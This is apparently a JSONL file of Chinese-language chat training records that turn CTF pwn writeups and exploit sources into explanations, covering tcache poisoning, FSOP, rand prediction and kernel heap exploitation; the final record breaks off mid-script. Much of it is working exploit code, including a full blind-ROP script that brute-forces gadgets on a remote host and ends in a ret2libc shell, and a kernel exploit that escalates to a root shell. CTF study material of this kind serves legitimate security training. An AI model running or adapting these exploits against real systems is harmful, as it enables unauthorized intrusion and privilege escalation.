"train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dc0482be3b0c42185ca2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「7. 恢复 hidden backdoor 使用次数」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 7. 恢复 hidden backdoor 使用次数\n\nhidden backdoor 只能用一次，而最后还需要借助它的 `read(0, ptr, 0x10)` 往栈上写 16 字节。因此需要把 `pie + 0x4010` 改回 1。\n\n先 poison `0x30` bin 到全局变量：\n\n```python\nshot = pie + 0x4010\nadd(1, 0x20)\ndele()\nedit(p64(shot ^ (heap_addr >> 12)))\n```\n\n然后 malloc 到 `pie + 0x4010` 并写 1：\n\n```python\nadd(1, 0x20)\nadd(1, 0x20)\nedit(p64(1))\n```\n\n这样隐藏选项 5 又可以再调用一次。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d671564b65a72359", "original_line": 144, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dd25d3206ac8ccfdc7e1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/tcache绕过/patch.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/tcache绕过/patch.sh`\n\n分类：heap\n\n语言：bash\n\n利用主题关键词：\n- heap/tcache\n\n训练用代码片段：\n```bash\n#!/bin/bash\n\nVERSION=2.27\nLIBC_NAME=libc.so.6\nLD_NAME=ld-linux-x86-64.so.2\n\ngcc pwn.c -o pwn -g\ncp /glibc/${VERSION}/amd64/lib/${LIBC_NAME} .\ncp /glibc/${VERSION}/amd64/lib/${LD_NAME} .\n\nchmod 777 ${LIBC_NAME}\nchmod 777 ${LD_NAME}\n\npatchelf --replace-needed libc.so.6 ./${LIBC_NAME} ./pwn\npatchelf --set-interpreter ./${LD_NAME} ./pwn\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-16abf10f40d508cd", "original_line": 38, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache绕过/patch.sh", "split": "train", "split_group_key": "488f53dcf28f37d3212e9338"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache绕过/patch.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dd2d2252498cab91bd7a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/条件竞争/racetest/demo.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/条件竞争/racetest/demo.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n\nint counter;\nvoid *IncreaseCounter(void *args) {\n  counter += 1;\n  sleep(0.1);\n  printf(\"Thread %d has counter value %d\\n\", (unsigned int)pthread_self(),\n         counter);\n}\n\nint main() {\n  pthread_t p[10];\n  for (int i = 0; i < 10; ++i) {\n    pthread_create(&p[i], NULL, IncreaseCounter, NULL);\n  }\n  for (int i = 0; i < 10; ++i) {\n    pthread_join(p[i], NULL);\n  }\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-aad6456045b18df3", "original_line": 450, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/条件竞争/racetest/demo.c", "split": "train", "split_group_key": "2a3603b4fbef574d0a798ecc"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/条件竞争/racetest/demo.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dd362389411d8eb76fa6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Search result」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md；主题：Internet reference notes for d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Search result\n\nI did not find a public writeup for the exact name `d3kheap2pro`. The closest direct reference is the official/public `D3CTF2025_d3kheap2` writeup and exploit by arttnba3, plus general cross-cache / Dirty PageTable material.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-4e6336fb14438bfd", "original_line": 377, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md", "split": "train", "split_group_key": "3142a1c55fbb73a0f35ddf74"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-de48701ecb9b6b2e701f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「调用GetSize函数来获取密码长度」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 调用GetSize函数来获取密码长度\nsize = GetSize()\nprint(f\"buffer size is [{size}]\")\n```\n\n[图片: 点击并拖拽以移动]\n\n运行脚本之后我们获取到了缓冲区长度：216。\n\n这 216 是包含`rbp`和`canary`在内的。\n\n```\nbuffer size is [216]\n```\n\n[图片: 点击并拖拽以移动]\n\n- 寻找 stop gadget\n\n这里我们同样通过暴力枚举来寻找一个返回到那里程序不会崩溃的地址，通常是`main`函数的地址。\n\n如果我们枚举到了`main`函数的地址，那么程序就会返回到`main`函数再次执行一次，我们可以通过执行`main`函数的特征来判断我们是否成功返回到了`main`函数。\n\n```\ndef GetStopAddr(size_len):\n    address=0x4007d0\n    while True:\n        print(hex(address))\n        try:\n            io=remote(\"node5.buuoj.cn\",25820)\n            io.recvuntil(sc)\n            payload = b'a'*size_len + p64(address)\n            print(payload)\n            io.send(payload)\n            time.sleep(0.1)\n            buf = io.recv()\n            print(buf)\n            output = io.recv()\n            print(output)\n            #如果不是以指定内容开头，则程序没有成功返回到main函数头部开始执行\n            if b'Hello,' not in output:\n                io.close()\n                address += 1\n            else:\n                return address\n        #触发栈溢出异常\n        except EOFError:\n            address += 1\n            io.close()\nstop_gadgets = GetStopAddr(216)\nprint('stop gadgets = 0x%x' % stop_gadgets)\n```\n\n[图片: 点击并拖拽以移动]\n\n最后结果是`0x4007d6`。\n\n```\nstop gadgets = 0x4007d6\n```\n\n[图片: 点击并拖拽以移动]\n\n\n- 寻址 brop gadgets\n\n这里同样枚举遍历即可。\n\n```\ndef GetBropGadget(length, stop_gadget, addr):\n    try:\n        io=remote(\"node5.buuoj.cn\",25820)\n        io.recvuntil(sc)\n        #通过枚举地址找到一个可以进行pop数据6次的gadget，后面加上的0是为了确保程序异常时崩溃\n        payload=b'a'*length+p64(addr)+p64(0)*6+p64(stop_gadget)+p64(0)*10\n        io.send(payload)\n        time.sleep(0.1)\n        buf = io.recv()\n        print(buf)\n        output = io.recv()\n        io.close()\n        print(output)\n        #如果程序找到了pop数据6次的gadget，则最后一定会正确返回到main函数地址\n        if ts not in output:\n            return False\n        return True\n    except EOFError:\n         io.close()\n         return False\n\n#校验找到的gadgets是否正确\ndef Check(length,addr):\n    try:\n        io=remote(\"node5.buuoj.cn\",25820)\n        io.recvuntil(sc)\n        payload=b'a'*length+p64(addr)+b'a'*8*10\n        io.send(payload)\n        time.sleep(0.1)\n        output = io.recv()\n        io.close()\n        print(output)\n        return False\n    except EOFError:\n         io.close()\n         return True\n\nsize_len=216\nstop_gadget = 0x4007d6\naddr = 0x400500\nprint('stop gadget = 0x%x'%stop_gadget)\n\nwhile True:\n    print(hex(addr))\n    if GetBropGadget(size_len,stop_gadget,addr):\n        print(\"brop gadget: 0x%x\"% addr)\n        if Check(size_len,addr):\n            print(\"brop gadget: 0x%x\"% addr)\n            break\n    addr+=1\n```\n\n[图片: 点击并拖拽以移动]\n\n找到 brop gadgets 地址`0x40095a`。\n\n```\nbrop_gadget = 0x40095a\n```\n\n[图片: 点击并拖拽以移动]\n\n- 找 PLT\n\n我们通过从一个地址开始遍历，如果能够实现我们想要的函数功能，那么就说明我们找到了 PLT。\n\n我们需要操作函数传参对应的 gadget，首当其冲的是`pop rdi;ret`。而在`libc_csu_init`中的`pop r15;ret`对应的字节码为`41 5f c3`，后两字节码`5f c3`对应的汇编即为`pop rdi;ret`。\n\n而`libc_csu_init`中`pop rbx`和`pop rdi;ret`的偏移是固定的 9 字节，所以我们可以将 brop gadgets 加上 4 字节得到`pop rdi;ret`的地址。\n\n```\ndef GetPutsPlt(length,pop_rdi_ret,stop_gadget):\n    addr = 0x400600\n    while True:\n        print(hex(addr))\n        try:\n            io=remote(\"node5.buuoj.cn\",25820)\n            io.recvuntil(sc)\n            payload = b'a'*length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)\n            io.send(payload)\n            time.sleep(0.1)\n            buf = io.recv()\n            output = io.recv()\n            #这里是ELF文件的头部魔数，我们通过是否输出了ELF文件的头部来判断是否找到了plt的地址\n            if b'\\x7fELF' in output:\n                print('puts plt address = 0x%x' % (addr+1))\n                return addr+1\n            addr += 1\n        except EOFError:\n            io.close()\n            addr += 1\nbrop_gadget = 0x40095a\npop_rdi_ret = 0x40095a+9\nGetPutsPlt(size_len,pop_rdi_ret,stop_gadget)\n```\n\n[图片: 点击并拖拽以移动]\n\n找到 PLT 表地址`0x400636`。\n\n```\nputs plt address = 0x400636\n```\n\n[图片: 点击并拖拽以移动]\n\n- dump 程序\n\n```\ndef leak(offset,pop_rdi_ret,puts_plt,leak_addr,stop_addr):\n    io=remote(\"node5.buuoj.cn\",25820)\n    payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_addr)\n    io.recvuntil(b\"Please tell me:\")\n    io.sendline(payload)\n    io.recvuntil(b'a'*offset)\n    io.recv(3) #0x400635 -> 3byte \\x00 stop !!!\n    try:\n        output = io.recv(timeout = 1)\n        io.close()\n        try:\n            output = output[:output.index(b\"\\nHello,I am a computer\")]\n            print(output)\n        except Exception:\n            output = output\n        if output == b\"\":\n            output = b\"\\x00\"\n        return output\n    except Exception:\n        io.close()\n        return None\n\ndef dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):\n    result =b''\n    while addr < 0x402300:\n       print(hex(addr))\n       output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)\n       if output is None:\n          result += b'\\x00'\n          addr += 1\n          continue\n       else:\n          result += output\n       addr += len(output)\n       with open('dump_file','wb') as f:\n          f.write(result)\ndump_file(size_len,pop_rdi_ret,puts_plt,0x400000,stop_gadget)\n```\n\ndump 程序后获取到`puts`函数`GOT`表地址，然后即可进行 ret2libc了。\n\n```\ngot address = 0x601018\n```\n\n- 最后进行 ret2libc\n\n```python\ndef exp(offset,pop_rdi_ret,puts_got,puts_plt,stop_gadget):\n    io=remote(\"node5.buuoj.cn\",25820)\n    libc=ELF(\"/buu/64/libc-2.23.so\")\n    ret = 0x40095a + 0x9 + 0x5\n    payload = b'a'*offset\n    payload += p64(pop_rdi_ret)\n    payload += p64(puts_got)\n    payload += p64(puts_plt)\n    payload += p64(stop_gadget)\n    io.recvuntil(b\"Please tell me:\")\n    io.sendline(payload)\n    io.recvuntil(b'a'*offset)\n    io.recv(3)\n    func_addr = io.recv(6)\n    puts_addr = u64(func_addr.ljust(8,b'\\x00'))\n    print(hex(puts_addr))\n    libcbase=puts_addr-libc.sym.puts\n    sys=libcbase+libc.sym.system\n    sh=libcbase+next(libc.search(\"/bin/sh\\x00\"))\n    io.recvuntil(b\"Please tell me:\")\n    payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(sh) + p64(sys) + p64(stop_gadget)\n    io.sendline(payload)\n    io.interactive()\n\nexp(size_len,pop_rdi_ret,0x601018,puts_plt,stop_gadget)\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2bc6c2d04fbe73ee", "original_line": 592, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-deb73b8c3e2eb8ec6ac1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「tcache poisoning」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## tcache poisoning\n\nexp 将伪造的 fake FILE 区域放在堆上：\n\n```python\nvictim = heap_base + 0x1190 + 0x10\nfake_fd = ((heap_base + 0x1000) >> 12) ^ (io_list_all + 0x70)\n```\n\n随后清空当前链表，并准备 `0x100` 大小 tcache：\n\n```python\nfor _ in range(5):\n    delete(0)\n\nfor i in range(9):\n    add(i, b'zena', 0xF0, (str(i) * 0x10).encode())\nadd(2, b'gap', 0x30, b'0')\n\nfor _ in range(7):\n    delete(0)\ndelete(1)\ndelete(0)\n\nadd(1, b'Hakuya', 0xF0, b'0')\n```\n\n然后使用负数大小触发隐藏任意 free：\n\n```python\nadd(1, b'L0tus', -9, hex(victim).encode() + b'\\n')\n```\n\n任意 free 后，`victim` 进入 tcache。接着通过一次可控写覆盖 freed chunk 的 `fd`：\n\n```python\npayload = b'0' * 0xF0\npayload += p64(0x100)\npayload += p64(fake_fd)\nadd(1, b'1sez', 0x130, payload)\n```\n\n其中 `fake_fd` 是经过 safe-linking 编码后的 `_IO_list_all + 0x70`，使后续同尺寸 malloc 返回 `_IO_list_all` 附近地址。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b82186f384b96c5e", "original_line": 170, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-df9c4ba047417661b946", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2026d3ctf-d3kheap2pro/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2026d3ctf-d3kheap2pro/exp.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `arbitrary_read_by_pipe`\n- `arbitrary_write_by_pipe`\n- `banner`\n- `bind_core`\n- `d3kheap2_alloc`\n- `d3kheap2_edit`\n- `d3kheap2_free`\n- `d3kheap2_show`\n- `err_exit`\n- `exploit`\n- `get_msg_queue`\n- `get_root_shell`\n- `main`\n- `peek_msg`\n- `read_msg`\n- `write_msg`\n\n利用主题关键词：\n- uaf/double-free\n- io-file/fsop\n- seccomp/orw\n- kernel\n\n关键常量/偏移样例：\n`0x100`, `0x180`, `0x400`, `0xff0`, `0xff8`, `0xffe`, `0x1000`, `0x9d000`, `0x10000000`, `0x3361626e`, `0x4e575046`, `0x54433344`, `0x74747261`, `0x3361626e74747261`, `0xffff888000000000`, `0xffffea0000000000`\n\n训练用代码片段：\n```c\n/**\n * Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>\n *\n * This work is licensed under the terms of the GNU GPL, version 2 or later.\n**/\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n/**\n * Kernel Pwn Infrastructures\n**/\n\n#define SUCCESS_MSG(msg)    \"\\033[32m\\033[1m\" msg \"\\033[0m\"\n#define INFO_MSG(msg)       \"\\033[34m\\033[1m\" msg \"\\033[0m\"\n#define ERROR_MSG(msg)      \"\\033[31m\\033[1m\" msg \"\\033[0m\"\n\n#define log_success(msg)    puts(SUCCESS_MSG(msg))\n#define log_info(msg)       puts(INFO_MSG(msg))\n#define log_error(msg)      puts(ERROR_MSG(msg))\n\n#define KASLR_GRANULARITY 0x10000000\n#define KASLR_MASK (~(KASLR_GRANULARITY - 1))\nsize_t kernel_base = 0xffffffff81000000, kernel_offset = 0;\nsize_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;\n\nvoid err_exit(char *msg)\n{\n    printf(ERROR_MSG(\"[x] Error at: \") \"%s\\n\", msg);\n    sleep(5);\n    exit(EXIT_FAILURE);\n}\n\nvoid bind_core(int core)\n{\n    cpu_set_t cpu_set;\n\n    CPU_ZERO(&cpu_set);\n    CPU_SET(core, &cpu_set);\n    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);\n\n    printf(SUCCESS_MSG(\"[*] Process binded to core \") \"%d\\n\", core);\n}\n\nvoid get_root_shell(void)\n{\n    if(getuid()) {\n        log_error(\"[x] Failed to get the root!\");\n        sleep(5);\n        exit(EXIT_FAILURE);\n    }\n\n    log_success(\"[+] Successful to get the root.\");\n    log_info(\"[*] Execve root shell now...\");\n\n    system(\"id; cat /flag 2>/dev/null || true\");\n    system(\"/bin/sh\");\n\n    /* to exit the process normally, instead of potential segmentation fault */\n    exit(EXIT_SUCCESS);\n}\n\nstruct page;\nstruct pipe_inode_info;\nstruct pipe_buf_operations;\n\n/* read start from len to offset, write start from offset */\nstruct pipe_buffer {\n\tstruct page *page;\n\tunsigned int offset, len;\n\tconst struct pipe_buf_operations *ops;\n\tunsigned int flags;\n\tunsigned long private;\n};\n\nstruct cred {\n    long usage;\n    uint32_t uid;\n    uint32_t gid;\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n#define D3KHEAP2_OBJ_FREE   0x74747261\n#define D3KHEAP2_OBJ_EDIT   0x54433344\n#define D3KHEAP2_OBJ_SHOW   0x4e575046\n    return ioctl(fd, D3KHEAP2_OBJ_ALLOC, &ureq);\nint d3kheap2_free(int fd, size_t idx)\n    return ioctl(fd, D3KHEAP2_OBJ_FREE, &ureq);\nint d3kheap2_edit(int fd, size_t idx)\n    return ioctl(fd, D3KHEAP2_OBJ_EDIT, &ureq);\nint d3kheap2_show(int fd, size_t idx)\n    return ioctl(fd, D3KHEAP2_OBJ_SHOW, &ureq);\n#define KMALLOC_2K_OBJ_PER_SLUB 16\n/* it cannot be big because the system limits that */\n        \"[*] Freeing d3kheap2 buffer into buddy \"\n        \"and reclaiming as kmalloc-cg-2k SLUB page...\"\n        if ((i / KMALLOC_2K_OBJ_PER_SLUB) % 2 == 0) {\n        if ((errno = d3kheap2_free(d3kheap2_fd, i)) < 0) {\n                ERROR_MSG(\"FAILED to free no.\")\"%d\"\n            err_exit(\"FAILED to free d3kheap2 buffer!\");\n        if ((i / KMALLOC_2K_OBJ_PER_SLUB) % 2 != 0) {\n        if ((errno = d3kheap2_free(d3kheap2_fd, i)) < 0) {\n                ERROR_MSG(\"FAILED to free no.\")\"%d\"\n            err_exit(\"FAILED to free d3kheap2 buffer!\");\n    /* To be honest, we only need to free ONE obj here, just think :) */\n        if ((errno = d3kheap2_free(d3kheap2_fd, i)) < 0) {\n                ERROR_MSG(\"FAILED to free no.\")\"%d\"\n            err_exit(\"FAILED to free d3kheap2 buffer!\");\n        perror(\"[x] Unable to free the victim msg_msg\");\n        err_exit(\"FAILED to free victim msg_msg!\");\n        perror(\"[x] Unable to free the victim msg_msg\");\n        err_exit(\"FAILED to free victim msg_msg!\");\n    system(\"/bin/sh\");\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-d3c3118f54960547", "original_line": 288, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/exp.c", "split": "train", "split_group_key": "76b19c96846d40d634f21d8b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/exp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e04912bc3ae6a8032a39", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. 覆盖 seed，预测 rand」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 1. 覆盖 seed，预测 rand\np.sendlineafter(b\"Tell me your name, my dear: \", b\"a\" * 16)\nseed = 0x61616161\nLIBC.srand(seed)\nwolf = LIBC.rand()\nsword = LIBC.rand()\ntmp0 = LIBC.rand()\ntmp1 = LIBC.rand()\n\np.recvuntil(b\"Lion is \")\nlibcbase = (int(p.recvline().strip()) ^ tmp0 ^ wolf) - libc.sym[\"setvbuf\"]\nlog.success(\"libcbase = %#x\" % libcbase)\n\np.recvuntil(b\"Snake is \")\nfortune = int(p.recvline().strip()) ^ tmp1 ^ sword\nlog.success(\"fortune = %#x\" % fortune)", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-8a93be9e0785506e", "original_line": 205, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e113f8078b7c0415798a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2024wdb/server.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2024wdb/server.py`\n\n分类：kernel\n\n语言：python\n\n环境/依赖线索：\n- `from Crypto.Cipher import AES`\n- `from Crypto.Util.Padding import pad, unpad`\n- `import os`\n- `import subprocess`\n- `import base64`\n\n函数/封装：\n- `process_qemu`\n- `readline`\n- `readuntil`\n\n利用主题关键词：\n- seccomp/orw\n- safe-linking\n\n训练用代码片段：\n```python\n#from Cryptodome.Cipher import AES\nfrom Crypto.Cipher import AES\n#from Cryptodome.Util.Padding import pad, unpad\nfrom Crypto.Util.Padding import pad, unpad\nimport os\nimport subprocess\nimport base64\n\ndef readuntil(process, until_text):\n\twhile True:\n\t\toutput = readline(process)\n\t\tif any(substring in output for substring in until_text):\n\t\t\tbreak\n\n\treturn output\n\ndef readline(process):\n\treturn process.stdout.readline()\n\ndef process_qemu(code, start_script):\n\tprocess = subprocess.Popen([start_script], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=0)\n\n\treaduntil(process, [\"Input ur b64_code: \\n\", \"Power down\"])\n\n\tprocess.stdin.write(code+\"\\n\")\n\n\tresult = readuntil(process, [\"result\", \"Power down\"])\n\n\tif \"result\" in result:\n\t\treturn result.split(\"result: \", 1)[1]\n\telse:\n\t\treturn \"dummydummydummy\\n\"\n\nif __name__ == '__main__':\n\tprint(\"Welcome to Generic Linux kernel shellcode Challenge\")\n\tcode = input(\"Input ur b64_code: \\n\")\n\n\tprint(\"Virtual 1 Working......\")\n\n\tos.chdir(\"./vir1\")\n\tkey = process_qemu(code, \"./vir1_start.sh\").replace('\\n', '').encode(\"ascii\")\n\tprint(\"Virtual 1 Finished\")\n\n\tprint(\"Virtual 2 Working......\")\n\tos.chdir(\"../vir2\")\n\tcipher_b64 = process_qemu(code, \"./vir2_start.sh\").replace('\\n', '').encode(\"ascii\")\n\tprint(\"Virtual 2 Finished\")\n\n\tprint(\"Calc ur result......\")\n\n\tif cipher_b64.find(b\"dummy\")!=-1 or key.find(b\"dummy\")!=-1:\n\t\tprint(\"Bad kernel shellcode\")\n\telse:\n\t\tcipher_raw = base64.b64decode(cipher_b64)\n\t\tcipher = AES.new(key, AES.MODE_ECB)\n\t\tdecrypted = cipher.decrypt(cipher_raw).rstrip(b'\\x00').decode(\"ascii\")\n\n\t\tprint(\"Nice kernel shellcode\")\n\t\tprint(decrypted)\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-f419f1040838a205", "original_line": 283, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb/server.py", "split": "train", "split_group_key": "409bcaf4436f5ed595756769"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb/server.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e25f98a00024bf6e8518", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2026d3ctf-d3kheap2pro/make_autorun_image.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2026d3ctf-d3kheap2pro/make_autorun_image.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```bash\n#!/bin/sh\nset -eu\nout=${1:-/tmp/d3k-autorun.raw}\ncp rootfs.raw \"$out\"\ncat > /tmp/rcS.d3k <<'EOI'\n#!/bin/sh\nchown -R root:root /\nchmod 700 /root\nchown -R ctf:ctf /home/ctf\nmount -t proc none /proc\nmount -t sysfs none 